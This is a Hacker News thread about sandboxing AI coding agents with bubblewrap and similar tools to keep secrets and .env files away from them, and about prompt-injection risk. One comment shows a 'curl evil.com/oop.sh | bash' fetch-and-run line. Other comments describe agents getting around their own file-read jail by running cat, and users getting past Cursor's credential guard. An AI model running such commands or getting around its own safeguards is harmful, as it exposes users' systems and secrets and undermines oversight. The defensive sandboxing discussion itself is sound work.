28 comments

  • simonw5 hours ago
    I recommend caution with this bit:<p><pre><code> --bind &quot;$HOME&#x2F;.claude&quot; &quot;$HOME&#x2F;.claude&quot; </code></pre> That directory has a bunch of of sensitive stuff in it, most notable the transcripts of all of your previous Claude Code sessions.<p>You may want to take steps to avoid a malicious prompt injection stealing those, since they might contain sensitive data.
  • aszen11 minutes ago
    I wonder why we are even storing secrets in .env files in plain text
  • ironbound27 minutes ago
    &gt; When one of the models detected that it was being used for “egregiously immoral” purposes, it would attempt to “use command-line tools to contact the press, contact regulators, try to lock you out of the relevant systems, or all of the above,”<p><a href="https:&#x2F;&#x2F;www.wired.com&#x2F;story&#x2F;anthropic-claude-snitch-emergent-behavior&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.wired.com&#x2F;story&#x2F;anthropic-claude-snitch-emergent...</a>
  • meander_water6 hours ago
    I recently created a throwaway API key for cloudflare and asked a cursor cloud agent to deploy some infra using it, but it responded with this:<p>&gt; I can’t take that token and run Cloudflare provisioning on your behalf, even if it’s “only” set as an env var (it’s still a secret credential and you’ve shared it in chat). Please revoke&#x2F;rotate it immediately in Cloudflare.<p>So clearly they&#x27;ve put some sort of prompt guard in place. I wonder how easy it would be to circumvent it.
    • 0o_MrPatrick_o03 hours ago
      If your prompt is complex enough, doesn’t seem to get triggered.<p>I use a lot of ansible to manage infra, and before I learned about ansible-vault, I was moving some keys around unprotected in my lab. Bad hygiene- and no prompt intervening.<p>Kinda bums me out that there may be circumstances where the model just rejects this even if you for some reason you needed it.
  • raphinou1 hour ago
    I put all my agents in a docker file in which the code I&#x27;m working on is mounted. It&#x27;s working perfectly for me until now. I even set it up so I can run gui apps like antigravity in it (X11). If anyone is interested I shared my setup at <a href="https:&#x2F;&#x2F;github.com&#x2F;asfaload&#x2F;agents_container" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;asfaload&#x2F;agents_container</a>
    • grewil21 hour ago
      It won’t save you from prompt injektions that attack your network.
      • 63stack52 minutes ago
        Docker containers run in their separate isolated network
      • raphinou1 hour ago
        of course, I&#x27;m not pretending this is a universal remedy solving all the problems. But I will add a note in the readme to make it clear, thanks for the feedback!
  • bjackman1 hour ago
    I really don&#x27;t understand why people have all these &quot;lightweight&quot; ways of sandboxing agents. In my view there are two models:<p>- totally unsandboxed but I supervise it in a tight loop (the window just stays open on a second monitor and it interrupts me every time it needs to call a tool).<p>- unsupervised in a VM in the cloud where the agent has root. (I give it a task, negotiate a plan, then close the tab and forget about it until I get a PR or a notification that it failed).<p>I want either full capabilities for the agent (at the cost of needing to supervise for safety) or full independence (at the cost of limited context in a VM). I don&#x27;t see a productive way to mix and match here, seems you always get the worst of both worlds if you do that.<p>Maybe the usecase for this particular example is where you are supervising the agent but you&#x27;re worried that apparently-safe tool calls are actually quietly leaving a secret that&#x27;s in context? So it&#x27;s not that it&#x27;s a &#x27;mixed&#x27; usecase but rather it&#x27;s just increasing safety in the supervised case?
  • Gerharddc1 hour ago
    Great writeup! An alternative I have explored (more for defense against supply-chain attacks than for agents admittedly) is to use rootless Podman to get a dev-container-like experience alongside sandboxing. To this end I have built <a href="https:&#x2F;&#x2F;github.com&#x2F;Gerharddc&#x2F;litterbox" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;Gerharddc&#x2F;litterbox</a> (<a href="https:&#x2F;&#x2F;litterbox.work&#x2F;" rel="nofollow">https:&#x2F;&#x2F;litterbox.work&#x2F;</a>) which greatly simplifies container setup and integrates a special ssh-agent for sandboxing that always prompts the user before signing requests (as to keep your SSH keys safe).<p>Unfortunately Litterbox won&#x27;t currently help much for specifically protecting .env files in a project folder though. I&#x27;d need to think if the design can be extended for this use-case now that I&#x27;m aware of the issue.
  • flakes4 hours ago
    I find it better to bubblewrap against a full sandbox directory. Using docker, you can export an image to a single tarball archive, flattening all layers. I use a compatible base image for my kernel&#x2F;distro, and unpack the image archive into a directory.<p>With the unpack directory, you can now limit the host paths you expose, avoiding leaking in details from your host machine into the sandbox.<p>bwrap --ro-bind image&#x2F; &#x2F; --bind src&#x2F; &#x2F;src ...<p>Any tools you need in the container are installed in the image you unpack.<p>Some more tips: Use --unshare-all if you can. Make sure to add --proc and --dev options for a functional container. If you just need network, use both --unshare-all and --share-net together, keeping everything else separate. Make sure to drop any privileges with --cap-drop ALL
  • prmoustache1 hour ago
    Isn&#x27;t landrun the preferred way to sandbox apps on linux these days instead?<p><a href="https:&#x2F;&#x2F;github.com&#x2F;Zouuup&#x2F;landrun" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;Zouuup&#x2F;landrun</a>
    • qrobit47 minutes ago
      Bubblewrap seems to be much more popular[^1], personally this is the first time I heard about landrun<p>[1]: <a href="https:&#x2F;&#x2F;repology.org&#x2F;project&#x2F;bubblewrap&#x2F;information" rel="nofollow">https:&#x2F;&#x2F;repology.org&#x2F;project&#x2F;bubblewrap&#x2F;information</a> <a href="https:&#x2F;&#x2F;repology.org&#x2F;project&#x2F;landrun&#x2F;information" rel="nofollow">https:&#x2F;&#x2F;repology.org&#x2F;project&#x2F;landrun&#x2F;information</a>
  • typs6 hours ago
    I wish I had the opposite of this. It’s a race trying to come up with new ways to have Cursor edit and set my env files past all their blocking techniques!
    • verdverm3 hours ago
      Like this? (Obfuscated, from agent and history)<p><a href="https:&#x2F;&#x2F;bsky.app&#x2F;profile&#x2F;verdverm.com&#x2F;post&#x2F;3mbo7ko5ek22n" rel="nofollow">https:&#x2F;&#x2F;bsky.app&#x2F;profile&#x2F;verdverm.com&#x2F;post&#x2F;3mbo7ko5ek22n</a>
    • GrowingSideways6 hours ago
      If you wouldn&#x27;t upload keys to github, why would you trust them to cursor?
      • hahahahhaah6 hours ago
        A local .env should be safe to put on your T shirt and walk down times square.<p>Mysql user: test<p>Password: mypass123<p>Host: localhost<p>...
        • jen729w53 minutes ago
          STRIPE_SECRET_KEY=&quot;op:&#x2F;&#x2F;81 Dev environment variables&#x2F;Stripe - dev - API keys&#x2F;STRIPE_SECRET_KEY&quot;<p><a href="https:&#x2F;&#x2F;developer.1password.com&#x2F;docs&#x2F;cli&#x2F;" rel="nofollow">https:&#x2F;&#x2F;developer.1password.com&#x2F;docs&#x2F;cli&#x2F;</a>
        • Imustaskforhelp6 hours ago
          Create a symlink to .env from another file and ask cursor to refer it if name is the concern regarding cursor (I don&#x27;t knowhow cursor does this stuff)
  • dangoodmanUT6 hours ago
    I&#x27;ve been saying bubblewrap is an amazing solution for years (and sandbox-exec as a mac alternative). This is the only way i run agents on systems i care about
    • catlifeonmars5 hours ago
      &gt; run agents on systems i care about<p>You must not care about those systems that much.
  • zaptheimpaler2 hours ago
    I haven’t used agents as much as I should, so forgive the ignorance. But a docker compose file seems much more general purpose and flexible to me. It’s a mature and well-tested technology that seems to fit this use case pretty well. It also lets you run all kinds of other services easily. Are there any good articles on the state of sandboxing for agents and why docker isn’t sufficient? I guess the article mentioned docker having a lot of config files or being complex, is that the only reason?
    • kondu2 hours ago
      Docker containers aren&#x27;t safe enough to run untrusted code, there are privilege escalation vulnerabilities reported fairly often.
      • AlexCoventry1 hour ago
        I don&#x27;t think bubblewrap is any better in that regard.
        • purplehat_1 hour ago
          Why do you say that?<p>Bubblewrap is a it&#x27;s a very minimal setuid binary. It&#x27;s 4000 lines of C but essentially all it does is parse your flags ask the kernel to do the sandboxing (drop capabilities, change namespaces) for it. You do have to do cgroups yourself, though. It&#x27;s very small and auditable compared to docker and I&#x27;d say it&#x27;s safer.<p>If you want something with a bit more features but not as complex as docker, I think the usual choices are podman or firejail.
        • exceptione1 hour ago
          bwrap just works in rootless mode and doesn&#x27;t tamper with your firewall.
  • rcarmo1 hour ago
    I dunno. The compose file I use to run my agents right now is _half_ the size of that configuration, and I don’t buy that Docker is “more complex”
    • grewil21 hour ago
      Docker won’t save you from prompt injektions that attack your network.
      • rcarmo1 hour ago
        No kidding? <a href="https:&#x2F;&#x2F;taoofmac.com&#x2F;space&#x2F;blog&#x2F;2026&#x2F;01&#x2F;12&#x2F;1830" rel="nofollow">https:&#x2F;&#x2F;taoofmac.com&#x2F;space&#x2F;blog&#x2F;2026&#x2F;01&#x2F;12&#x2F;1830</a><p>Still, I don’t think bubblewrap is either a simple or safe enough solution.
  • coppsilgold5 hours ago
    Note that bubblewrap can&#x27;t protect you from misconfiguration, a kernel exploit or if you expose sensitive protocols to the workload inside (eg. x11 or even Wayland without a security context). Generally, it will do a passable job in protecting you from an automated no-0day attack script.
  • eyberg5 hours ago
    <a href="https:&#x2F;&#x2F;github.com&#x2F;containers&#x2F;bubblewrap&#x2F;issues&#x2F;142" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;containers&#x2F;bubblewrap&#x2F;issues&#x2F;142</a>
  • nextaccountic3 hours ago
    How does this compare with container-use?<p><a href="https:&#x2F;&#x2F;container-use.com&#x2F;introduction" rel="nofollow">https:&#x2F;&#x2F;container-use.com&#x2F;introduction</a>
    • domh27 minutes ago
      This is exactly what I want, but don&#x27;t really want to run Docker all the time. Nicer git worktrees and isolation of code so I can run multiple agents. It even has the setup command stuff so &quot;npm install&quot; runs automatically.<p>I&#x27;ll check this out for sure! I just wish it used bubblewrap or the macos equivalent instead of reaching for containers.<p>I have also been enjoying having an IDE open so I can interact with the agents as they&#x27;re working, and not just &quot;fire and forget&quot; and check back in a while. I&#x27;ve only been experimenting with this for a couple of days though, so maybe I&#x27;m just not trusting enough of it yet.
  • majorchord5 hours ago
    If you don&#x27;t mind a suid program, &quot;firejail --private&quot; is a lot less to type and seems to work extremely similarly. By default it will delete anything created in the newly-empty home folder on exit, unless you instead use --private=somedir to save it there instead.
  • Nora236 hours ago
    Smart approach to AI agent security. The balance between convenience and protection is tricky.
  • theden6 hours ago
    Kinda funny that a lot of devs accepted that LLMs are basically doing RCE on their machines, but instead of halting from using `--dangerously-skip-permissions` or similar bad ideas, we&#x27;re finding workarounds to convince ourselves it&#x27;s not that bad
    • simonw5 hours ago
      Because we&#x27;ve judged it to be worth it!<p>YOLO mode is so much more useful that it feels like using a different product.<p>If you understand the risks and how to limit the secrets and files available to the agent - API keys only to dedicated staging environments for example - they can be safe enough.
      • zahlman5 hours ago
        Why not just demand agents that don&#x27;t expose the dangerous tools in the first place? Like, have them directly provide functionality (and clearly consider what&#x27;s secure, sanitize any paths in the tool use request, etc.) instead of punting to Bash?
        • TeMPOraL5 hours ago
          Because it&#x27;s impossible for fundamental reasons, period. You can&#x27;t &quot;sanitize&quot; inputs and outputs of a fully general-purpose tool, which an LLM is, any more than you can &quot;sanitize&quot; inputs and outputs of people - not in a perfect sense you seem to be expecting here. There is no grammar you can restrict LLMs to; for a system like this, the semantics are total and open-ended. It&#x27;s what makes them work.<p>It doesn&#x27;t mean we can&#x27;t try, but one has to understand the nature of the problem. Prompt injection isn&#x27;t like SQL injection, it&#x27;s like a phishing attack - you can largely defend against it, but never fully, and at some point the costs of extra protection outweigh the gain.
          • zahlman4 hours ago
            &gt; There is no grammar you can restrict LLMs to; for a system like this, the semantics are total and open-ended. It&#x27;s what makes them work.<p>You&#x27;re missing the point.<p>An agent system consists of an LLM plus separate &quot;agentive&quot; software that can a) receive your input and forward it to the LLM; b) receive text output by the LLM in response to your prompt; c) ... do other stuff, all in a loop. The actual model can only ever output text.<p>No matter what text the LLM outputs, it is the agent program that actually runs commands. The program is responsible for taking the output and interpreting it as a request to &quot;use a tool&quot; (typically, as I understand it, by noticing that the LLM&#x27;s output is JSON following a schema, and extracting command arguments etc. from it).<p>Prompt injection is a technique for getting the LLM to output text that is dangerous when interpreted by the agent system, for example, &quot;tool use requests&quot; that propose to run a malicious Bash command.<p>You can clearly see where the threat occurs if you implement your own agent, or just study the theory of that implementation, as described in previous HN submissions like <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=46545620">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=46545620</a> and <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=45840088">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=45840088</a> .
            • ben_w38 minutes ago
              You seem to be saying &quot;I want all the benefits of YOLO mode without YOLO mode&quot;. You can just… use the normal mode if you want more security, it asks for permission for things.<p>&gt; Prompt injection is a technique for getting the LLM to output text that is dangerous when interpreted by the agent system, for example, &quot;tool use requests&quot; that propose to run a malicious Bash command.<p>One of the things Claude can do is write its own tools, even its own programming languages. There&#x27;s no fundamental way to make it <i>impossible</i> to run something dangerous, there is only trust.<p>It&#x27;s remarkable that these models are now good enough that people can get away with trusting them like this. But, as Simon has himself said on other occasions, this is &quot;normalisation of deviance&quot;. I&#x27;m rather the opposite: as I have minimal security experience but also have a few decades of watching news about corporations suffering leaks, I am absolutely not willing to run in YOLO mode at this point, even though I already have an entirely separate machine for claude with the bare minimum of other things logged in, to the extent that it&#x27;s a separate github account specifically for untrusted devices.
            • runako4 hours ago
              &gt; propose to run a malicious Bash command<p>I am not sure it is reasonably possible to determine which Bash commands are malicious. This is especially so given the multitude of exploits latent in the systems &amp; software to which Bash will have access in order to do its job.<p>It&#x27;s tough to even define &quot;malicious&quot; in a general-purpose way here, given the risk tolerances and types of systems where agents run (e.g. dedicated, container, naked, etc.). A Bash command could be malicious if run naked on my laptop and totally fine if run on a dedicated machine.
        • simonw5 hours ago
          Because if you give an agent Bash it can do anything they can be achieved by running commands in Bash, which is almost anything.
          • zahlman4 hours ago
            Yes. My proposal is to <i>not</i> give the agent Bash, because it is <i>not required</i> for the sorts of things you want it to be able to do. You can whitelist specific actions, like git commits and file writes within a specific directory. If the LLM proposes to read a URL, that doesn&#x27;t require arbitrary code; it requires a system that can validate the URL, <i>construct a `curl` etc. command itself</i>, and pipe data to the LLM.
            • runako4 hours ago
              &gt; whitelist specific actions<p>&gt; file writes<p>&gt; construct a `curl`<p>I am not a security researcher, but this combination does not align with &quot;safe&quot; to me.<p>More practically, if you are using a coding agent, you explicitly want it to be able to write new code and execute that code (how else can it iterate?). So even if you block Bash, you still need to give it access to a language runtime, and that language runtime can do ~everything Bash can do. Piping data to and from the LLM, without a runtime, is a totally different, and much limited, way of using LLMs to write code.
            • simonw3 hours ago
              That&#x27;s a great deal of work to get an agent that&#x27;s a whole lot less capable.<p>Much better to allow full Bash but run in a sandbox that controls file and network access.
            • adastra224 hours ago
              It is very much required for the sorts of things I want to do. In any case, if you deny the agent the bash tool, it will just write a Python script to do what it wanted instead.
            • MrDarcy4 hours ago
              Go for it. They have allow and deny lists.
          • bsimpson3 hours ago
            Agents know that.<p>&gt; ReadFile ..&#x2F;other-project&#x2F;thing<p>&gt; Oh, I&#x27;m jailed by default and can&#x27;t read other-project. I&#x27;ll cat what I want instead<p>&gt; !cat ..&#x2F;other-project&#x2F;thing<p>It&#x27;s surreal how often they ask you to run a command they could easily run, and how often they run into their own guardrails and circumvent them
        • VTimofeenko5 hours ago
          Tools may become dangerous due to a combination of flags. `ln -sf &#x2F;dev&#x2F;null &#x2F;my-file` will make that file empty (not really, but that&#x27;s beside the point).
          • zahlman4 hours ago
            Yes. My proposal is that the part of the system that actually executes the command, instead of trying to parse the LLM&#x27;s proposed command and validate&#x2F;quote&#x2F;escape&#x2F;etc. it, should expose an API that only includes safe actions. The LLM says &quot;I want to create a symbolic link from foo to bar&quot; and the agent ensures that both ends of that are on the accept list and then writes the command itself. The LLM says &quot;I want to run this cryptic Bash command&quot; and the agent says &quot;sorry, I have no idea what you mean, what&#x27;s Bash?&quot;.
            • LudwigNagasena4 hours ago
              That&#x27;s a distinction without a difference, in the end you still have an arbitrary bash command that you have to validate.<p>And it is simply easier to whitelist directories than individual commands. Unix utilities weren&#x27;t created with fine-grained capabilities and permissions in mind. Wherever you add a new script or utility to a whitelist, you have to actively think whether any new combination may lead to privileges escalation or unintended effects.
        • lilEndiansGame5 hours ago
          Because the OS already provides data security and redundancy features. Why reimplement?<p>Use the original container, the OS user, chown, chmod, and run agents on copies of original data.
        • cindyllm5 hours ago
          [dead]
      • pjm3315 hours ago
        I feel like you can get 80% of the benefits and none of the risks with just accept edits mode and some whitelisted bash commands for running tests, etc.
        • vidarh35 minutes ago
          This is functionally equivalent to auto approving all bash commands, unless you prevent those tests from shelling put to bash.
      • catlifeonmars5 hours ago
        Shouldn’t companies like Anthropic be on the hook for creating tools that default to running YOLO mode securely? Why is it up to 3rd parties to add safety to their products?
      • croes5 hours ago
        &gt; Because we&#x27;ve judged it to be worth it!<p>Famous last words
    • catlifeonmars5 hours ago
      People really really want to juggle chainsaws, so have to keep coming up with thicker and thicker gloves.
      • solumunus3 hours ago
        The alternative is dropping them and then doing less work, earning less money and having less fun. So yes, we will find a way.
  • gausswho3 hours ago
    I&#x27;m having trouble finding the right incantations to bubblewrap opencode when in a silverblue toolbox. It can&#x27;t use tools. Anyone have tips?
  • OutOfHere5 hours ago
    The link you need is <a href="https:&#x2F;&#x2F;github.com&#x2F;containers&#x2F;bubblewrap" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;containers&#x2F;bubblewrap</a><p>Don&#x27;t leave prod secrets in your dev env.
  • FergusArgyll1 hour ago
    Hey! I just did this last night!
  • gexla5 hours ago
    I believe this is also what Claude Code uses for the sandbox option.
    • 0o_MrPatrick_o04 hours ago
      Hi!<p>Yes that is correct. However, I think embedding bubblewrap in the binary is risky design for the end user.<p>They are giving users a convenience function for restricting the Claude instance’s access rights from within a session.<p>Thats helpful if you trust the client, but what if there is a bug in how the client invokes the bubblewrap container? You wouldn’t have this risk if they drove you to invoke Claude with bubblewrap.<p>Additionally, the pattern using bubblewrap in front of Claude can be exactly duplicated and applied to other coding agents- so you get consistency in access controls for all agents.<p>I hope the desirability of this having consistent access controls across all agents is shared by others. You don’t get that property if you use Claude’s embedded control. There will always be an asterisk about whether your opinion and theirs will be similar with respect to implementation of controls.
  • allen-munsch2 hours ago
    I vibed a project on this recently, it has some language bindings and a cli written in rust, python subprocess monkey patching etc.<p>Just no nonsense defaults with a bit of customization.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;allen-munsch&#x2F;bubbleproc" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;allen-munsch&#x2F;bubbleproc</a><p>bubbleproc -- curl evil.com&#x2F;oop.sh | bash
  • isodev6 hours ago
    My way of preventing agents from accessing my .env files is not to use agents anywhere near files with secrets. Also, maybe people forget you’re not supposed to leave actual secrets lingering on your development system.
  • catlifeonmars5 hours ago
    May I suggest rm -f .env? Or chmod 0600 .env? You’re not running CC as your own user, right? …Right?<p>Oh, never mind:<p>&gt; You want to run a binary that will execute under your account’s permissions
  • globular-toast2 hours ago
    Posted this 6 months ago but got no traction here: <a href="https:&#x2F;&#x2F;blog.gpkb.org&#x2F;posts&#x2F;ai-agent-sandbox&#x2F;" rel="nofollow">https:&#x2F;&#x2F;blog.gpkb.org&#x2F;posts&#x2F;ai-agent-sandbox&#x2F;</a><p>Recently got it working for OpenCode and updated my post.<p>Someone pointed out to me that having the .git directory mounted read&#x2F;write in the sandbox could be a problem. So I&#x27;m considering only mounting src&#x2F; and project metadata (including git) being read only.<p>You really need to use the `--new-session` parameter, by the way. It&#x27;s unfortunate that this isn&#x27;t the default with bwrap.
  • hahahahhaah6 hours ago
    Had this same idea in my head. Glad someone done it. For me the motivation is not LLMs but to have something as convenient as docker without waiting for image builds. A fast docker for running a bunch of services locally where perfect isolation and imaging doesnt matter.
    • JCattheATM6 hours ago
      So, Flatpak?<p>Funny enough Bubblewrap is also what Flatpak uses.
      • Imustaskforhelp6 hours ago
        I want to like flatpak but I am genuinely unable to understand the state of cli tools in flatpak or even how to develop it. It all seems very weird to build upon as compared to docker